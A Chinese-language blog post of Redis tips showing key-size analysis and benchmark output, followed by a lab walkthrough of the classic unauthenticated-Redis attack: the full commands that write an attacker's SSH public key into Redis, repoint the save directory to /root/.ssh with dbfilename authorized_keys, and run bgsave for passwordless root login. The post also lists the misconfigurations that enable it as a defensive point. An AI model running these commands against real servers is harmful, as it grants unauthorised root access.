首页 > 数据库 >redis实战技巧

redis实战技巧

时间:2024-01-18 10:23:12浏览次数:37  
标签:实战 技巧 keys redis per second requests root

1.分析key大小

[root@db-51 ~]#redis-cli -h 10.0.0.51 -p 6380  --bigkeys

# Scanning the entire keyspace to find biggest keys as well as
# average sizes per key type.  You can use -i 0.1 to sleep 0.1 sec
# per 100 SCAN commands (not usually needed).


-------- summary -------

Sampled 0 keys in the keyspace!
Total key length in bytes is 0 (avg len 0.00)


0 hashs with 0 fields (00.00% of keys, avg size 0.00)
0 lists with 0 items (00.00% of keys, avg size 0.00)
0 strings with 0 bytes (00.00% of keys, avg size 0.00)
0 streams with 0 entries (00.00% of keys, avg size 0.00)
0 sets with 0 members (00.00% of keys, avg size 0.00)
0 zsets with 0 members (00.00% of keys, avg size 0.00)



=====================================================================


[root@db-51 ~]#
[root@db-51 ~]#redis-cli -h 10.0.0.51 -p 6380  --memkeys

# Scanning the entire keyspace to find biggest keys as well as
# average sizes per key type.  You can use -i 0.1 to sleep 0.1 sec
# per 100 SCAN commands (not usually needed).


-------- summary -------

Sampled 0 keys in the keyspace!
Total key length in bytes is 0 (avg len 0.00)


0 hashs with 0 bytes (00.00% of keys, avg size 0.00)
0 lists with 0 bytes (00.00% of keys, avg size 0.00)
0 strings with 0 bytes (00.00% of keys, avg size 0.00)
0 streams with 0 bytes (00.00% of keys, avg size 0.00)
0 sets with 0 bytes (00.00% of keys, avg size 0.00)
0 zsets with 0 bytes (00.00% of keys, avg size 0.00)

2.性能测试

[root@db-51 ~]#redis-benchmark -h 10.0.0.51 -p 6380 -n 10000 -q
PING_INLINE: 142857.14 requests per second
PING_BULK: 172413.80 requests per second
SET: 169491.53 requests per second
GET: 166666.67 requests per second
INCR: 169491.53 requests per second
LPUSH: 163934.42 requests per second
RPUSH: 172413.80 requests per second
LPOP: 169491.53 requests per second
RPOP: 175438.59 requests per second
SADD: 166666.67 requests per second
HSET: 175438.59 requests per second
SPOP: 169491.53 requests per second
LPUSH (needed to benchmark LRANGE): 158730.16 requests per second
LRANGE_100 (first 100 elements): 103092.78 requests per second
LRANGE_300 (first 300 elements): 46511.63 requests per second
LRANGE_500 (first 450 elements): 37735.85 requests per second
LRANGE_600 (first 600 elements): 29940.12 requests per second
MSET (10 keys): 178571.42 requests per second

3.redis入侵攻击

前提环境(也是你防御手段)

1. redis 用root运行
2. redis允许远程登录
3. redis没有密码,或者太简单密码

入侵原理

# author: www.yuchaoit.cn
1. 本质利用redis的热更新配置,动态设置数据持久化策略
2. 利用redis远程访问功能,将攻击者的ssh公钥当做key写入redis
3.动态修改redis配置,将持久化目录改为/root/.ssh/
4.动态修改配置,将持久化文件名改为authorized_keys
5.执行持久化命令,这样就会生成/root/.ssh/authorized_keys文件
6.因此通过这个方案,恶意实现可以免密登录。

实战

准备一个新redis测试即可

[root@db-51 ~]#ps -ef|grep redis
root       3569      1  0 01:12 ?        00:00:00 redis-server 0.0.0.0:6379
root       3577   3049  0 01:13 pts/0    00:00:00 grep --color=auto redis

一个典型的 危险redis

测试 53 > 攻击51
1.客户端秘钥生成
ssh-keygen

2.秘钥保存为文件
(echo -e "\n";cat /root/.ssh/id_rsa.pub;echo -e "\n")>ssh_key

cat ssh_key 


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD0Tq/GrODJSzUvGshrc+Ostms9pnNrCT/mhMI88tk8dVGGoTWDORXEe/Ou7VpRry9bPizPrk12NHa/hrUDVOQsjDgtQxtOUsJ7uG9kxV1ndUZMz6g9R/S+DRrPDDbHpcv9YcTeyp8SrVKZt3dj4liO/ZKyE9FfY9ZlDDT3C4dHzIna/qquns7jhvaEGAUcdWv1LtB7+GDPycV2Hj0I7AUIc67bsKtyW06kNoLAmAx7X9Q9XIViXRNjLowNitgryeiVGU7zo+sjhiWHHehg4MuabsehrLV3fD/nenMg0HLfl5bWSdkP7pXbge6vLOWThaMDjBoRkRxu0NLqjXahc9P root@db-51


3.秘钥写入redis
cat ssh_key | redis-cli -h 10.0.0.51  -x set ssh_key


4.动态修改redis信息


redis-cli -h 10.0.0.51  config get dir
redis-cli -h 10.0.0.51  config set dir /root/.ssh
redis-cli -h 10.0.0.51  config set dbfilename authorized_keys
redis-cli -h 10.0.0.51 bgsave


5.查看被攻击的服务器
[root@db-51 ~]#cat ~/.ssh/authorized_keys 
REDIS0009    redis-ver5.0.7
redis-bits

标签:实战,技巧,keys,redis,per,second,requests,root
From: https://www.cnblogs.com/sxy-blog/p/17971924

相关文章

  • redis数据持久化篇
    为什么需要持久化Redis是个基于内存的数据库。那服务一旦宕机,内存中的数据将全部丢失。通常的解决方案是从后端数据库恢复这些数据,但后端数据库有性能瓶颈如果是大数据量的恢复,1、会对数据库带来巨大的压力,2、数据库的性能不如Redis。导致程序响应慢。所以对Redis来说,实现数......
  • redis安全篇
    redis被攻击,作为突破口,服务器惨遭毒手的事太常见了。大多数云服务器被攻击,都是redis,mongodb等数据库被入侵。因此修改端口,密码,以及注意bind运行地址,是必须。思考是否要暴露redis到公网。1.设置密码、端口配置[root@db-51~]#cat/opt/redis_6379/conf/redis_6379.confdae......
  • 学习构建北京市政百姓信件分析实战案例
    学习构建北京市政百姓信件分析实战案例是一个综合性的任务,需要使用多种技术和工具。以下是每个步骤的简要说明:1.采集北京市政百姓信件内容:在这一步,你需要建立一个系统来收集北京市政百姓的信件内容。可以使用网络爬虫技术,访问相关政府网站或公共平台,从中抓取信件数据。确保你的数......
  • 一次对跨境菠菜类APP的渗透实战
    0x01准备工具 此次渗透实战主要针对安卓APP,菠菜APP后台服务器在境外,平台包含多款非法涉赌小游戏。1、雷电安卓模拟器,用于运行赌博网站的安装程序。2、抓包工具Fiddler(或burpsuite、wireshark),用于流量抓包找到网站后台服务器地址。3、Sublist3r、中国蚁剑等常规渗透工具。 0x0......
  • BC实战后渗透之Bypass Applocker到提权
    0x01前言 提示:当个反面案例看就好,实际上拿下的方式远没有下文说的那么麻烦,只怪自己太心急… 本来是之前BC项目搞下来的一个推广站,当时只拿到了Shell权限是一个普通用户,想提权进一步收集服务器上的信息时,发现运行各种东西都是权限拒绝,提示组策略阻止了这个程序,当时因为还有的别......
  • 记一次bc站实战
    初遇难题发现一个bQc站先尝试打一下主站先尝试目录扫描看能不能发现一些后台之类的,这里我用的是dirsearch。但是很遗憾,没有什么有价值的目录,连后台也扫不出来,但是这是在意料之中,毕竟大部分菠菜网站防护都做的挺好的。接下里尝试注册一个账号看看尝试注入,发现加密,不会逆向的我只能......
  • 从python 单机版爬虫 scrapy 到 分布式scrapy-redis 爬虫用最简单的步骤创建实例
    scrapy是很强大的模块化爬虫框架,具有很高的灵活性,使用频率很高,使用该框架能大大提高开发效率,scrapy-redis是在scrapy框架开发了组件,替换队列部分,实现多台服务器并行运行爬虫,提高爬取速度。下面是用最简单的例子从建立普通scrapy爬虫,然后数据保存mysql,最后简单替换几行就能使用s......
  • 23.电子商城接口自动化测试 框架进阶实战
    现有问题 可维护性差:一个api发生变化,需要修改用例文件可读性差:无法从代码中看出来明确的业务逻辑断言能力差:响应内容只能一层一层提取架构优化设计 @startumlscale700*500packageconfig<<Folder>>{}packageutils<<Folder>>{}packageapis<......
  • 19.电子商城接口自动化测试 实战
    目录 接口测试流程产品需求分析测试用例设计思路接口自动化脚本编写接口测试流程 @startuml:需求分析;:测试设计;:测试用例评审;:测试执行;:验收;:预发布;:上线;@enduml电子商城需求分析 商城管理后台商城客户端商城业务场景 ......
  • 15.宠物商店 接口自动化测试实战
    目录 被测产品需求说明相关知识点接口自动化测试实战被测产品 PetStore宠物商城:一个在线的小型的商城。主要提供了增删查改等操作接口。结合Swagger实现了接口的管理。需求说明 完成宠物商城宠物管理功能接口自动化测试。编写自动化测......